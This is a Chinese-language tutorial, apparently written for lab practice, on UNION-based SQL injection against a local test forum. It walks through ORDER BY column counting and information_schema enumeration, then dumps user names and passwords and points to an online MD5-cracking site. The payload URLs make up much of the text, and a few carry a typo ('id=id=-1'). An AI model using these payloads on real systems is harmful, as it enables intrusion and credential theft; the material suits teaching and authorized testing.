union查询注⼊是最基础的注⼊:在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。 union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询, 并将结果追加到原始查询中。联合查询会" 纵向" 拼接两个或多个SELECT语句的结果。
适用条件:1.存在注入点 2.注入前后要对应(union 前后两个 select 的结果集,应具有相同列数; union 前后两个 select 的结果集,对应列应是相同数据类型)
注入步骤:
1.判断 是否存在 注⼊点 及 注⼊的类型
2.使用order by 来查询列数,观察回显
3.获取数据库名
4.获取数据库中所有的表名
5.获取数据库中所有的表中的字段名
6.获取字段中的数据
1.判断 是否存在注⼊点及注⼊的类型
2.使用order by 来查询列数,观察回显
建议用⽕狐渗透版浏览器来打开本地靶场,以我打开的靶场为例子,输入
http://localhost/bbs/showmessage.php?id=1
http://localhost/bbs/showmessage.php?id=1 order by 1
http://localhost/bbs/showmessage.php?id=1 order by 5
从一一直尝试到五,如果到数字n报错则有(n-1)列,即有(n-1)个可能的注入点
判断出有4列,之后输入http://localhost/bbs/showmessage.php?id=id=-1 union select 1,2,3,4
这句话的目的是判断有几个点可以真正注入,有几列并不意味着都能注入
细心的读者一定会发现id=-1,这是希望正确的语句不去影响注入语句,故而写错。
到这里第一和第二步就都完成了
3.获取数据库名
输入http://localhost/bbs/showmessage.php?id=-1 union select 1,2,version(),database()
这是方法一,还有方法二
http://localhost/bbs/showmessage.php?id=id=-1 union select 1,2,version(),(select group_concat(schema_name) from information_schema.schemata)
这两种方法均能得到对应的版本号和数据库名,方法一获得自己的数据库名,方法二则是全部数据库名
(select group_concat(schema_name) from information_schema.schemata)
对应在Mysql中查询所有数据库名,还有简单版
id=-1 union select 1,2,version(),group_concat(schema_name) from information_schema.schemata
4.获取数据库中所有的表名
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'
我们来分析一下注入点
group_concat(table_name) from information_schema.tables where table_schema='jrlt'(查询'jrlt'数据库中的所有表)
5.获得数据库对应表中的所有字段
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'
我们来分析一下注入点
group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'
这里是查询'jrlt'数据库中的user表中的所有字段
6.获取字段中的数据
http://localhost/bbs/showmessage.php?id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1
id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1
分析注入点需要的是'jrlt'数据库中的user表中的name和password,选择我们所需要的内容
获取到的密码被加密成MD5格式,可以访问http://cmd5.com/来破解